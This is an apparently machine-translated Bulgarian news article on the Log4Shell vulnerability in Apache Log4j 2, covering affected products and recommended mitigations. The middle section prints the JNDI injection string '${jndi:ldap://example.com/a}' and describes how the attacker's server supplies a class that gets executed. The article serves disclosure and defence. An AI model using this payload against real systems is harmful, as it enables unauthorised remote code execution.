Наскоро se пусна новината, че е идентифицирана критична уязвимост в Apache Log4j 2, който се характеризира като популярна рамка за организиране на регистъра в Java приложения, позволяваща изпълнение на произволен код, когато специално форматирана стойност се записва в регистъра във формат "{jndi: URL}".
Уязвимост Това е забележително, защото атаката може да се извърши в Java приложения, коитоТе записват стойности, получени от външни източници, например чрез показване на проблемни стойности в съобщения за грешка.
Забелязва се, че почти всички проекти, които използват рамки като Apache Struts, Apache Solr, Apache Druid или Apache Flink са засегнати, включително Steam, Apple iCloud, клиенти и сървъри на Minecraft.
Очаква се уязвимостта да доведе до вълна от масивни атаки срещу корпоративни приложения, повтаряйки историята на критичните уязвимости в рамката, Apache Struts, което е груба оценка, използвана в 65% от уеб приложенията на Fortune 100. Списък на уеб приложенията на компанията включва вече записани опити за сканиране на мрежата за уязвими системи.
Уязвимостта позволява дистанционно изпълнение на неудостоверен код. Log4j 2 е библиотека за дневници на Java с отворен код, разработена от Apache Foundation. Log4j 2 се използва широко в много приложения и присъства като зависимост в много услуги. Те включват бизнес приложения, както и множество облачни услуги.
Екипът за атака на Randori разработи функционален експлойт и успя успешно да използва тази уязвимост в клиентска среда като част от нашата офанзивна платформа за сигурност.
Уязвимостта може да бъде достъпна чрез множество методи, специфични за приложението. Всъщност всеки сценарий, който позволява отдалечена връзка да доставя произволни данни, които приложение, използващо библиотеката Log4j, записва в регистрационни файлове, е податлив на експлоатация. Тази уязвимост е много вероятно да бъде използвана в дивата природа и е вероятно да засегне хиляди организации. Тази уязвимост представлява значителен реален риск за засегнатите системи.
Проблемът се усложнява от факта, че вече е публикуван функционален експлойт, напр.Но все още не са генерирани поправки за стабилни клонове. CVE идентификаторът все още не е присвоен. Решението е включено само в тестовия клон log4j-2.15.0-rc1. Като заобиколно решение за блокиране на уязвимостта се препоръчва да зададете параметъра Log4j2.formatMsgNoLookups на true.
Проблемът това се дължи на факта, че Log4j 2 поддържа обработката на специални маски «{}» в регистрационните редове, в който JNDI заявките могат да се изпълняват (Именуване на Java и интерфейс на директория).
При анализа на CVE-2021-44228, Рандори установи следното:
Инсталациите по подразбиране на широко използван бизнес софтуер са уязвими.
Уязвимостта може да бъде използвана надеждно и без удостоверяване.
Уязвимостта засяга множество версии на Log4j 2.
Уязвимостта позволява отдалечено изпълнение на код, когато потребителят стартира приложението с помощта на библиотеката.
Атаката се свежда до предаване на низ със заместването "$ {jndi: ldap: //example.com/a}", обработка на която Log4j 2 ще изпрати LDAP заявка за пътя към класа Java до сървъра на атакуващия.com . Пътят, върнат от сървъра на атакуващия (например http://example.com/Exploit.class), ще бъде зареден и изпълнен в контекста на текущия процес, което позволява на нападателя да постигне произволно изпълнение на код в системата с правата на текущото приложение.
Накрая се споменава, че ако се открият аномалии, препоръчва се да приемете, че това е активен инцидент, че е бил компрометиран и да реагирате съответно. Надстройката до закърпени версии на Log4j 2 или засегнатите приложения ще премахне тази уязвимост. Рандори препоръчва на всяка организация, която смята, че може да бъде засегната, спешно да надстрои до закърпена версия.
В последната актуализация от екипа на Apache Log4j, препоръчваме на организациите да направят следното
- Актуализация до Log4j 2.15.0
- За тези, които не могат да надстроят до 2.15.0: Във версии> = 2.10, тази уязвимост може да бъде смекчена чрез задаване на системното свойство log4j2.formatMsgNoLookup или променливата на средата LOG4J_FORMAT_MSG_NO_LOOKUPS на true.
- За версии от 2,0-beta9 до 2.10.0, смекчаването е да се премахне класа JndiLookup от пътя към класа: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.
Fuente: https://www.lunasec.io/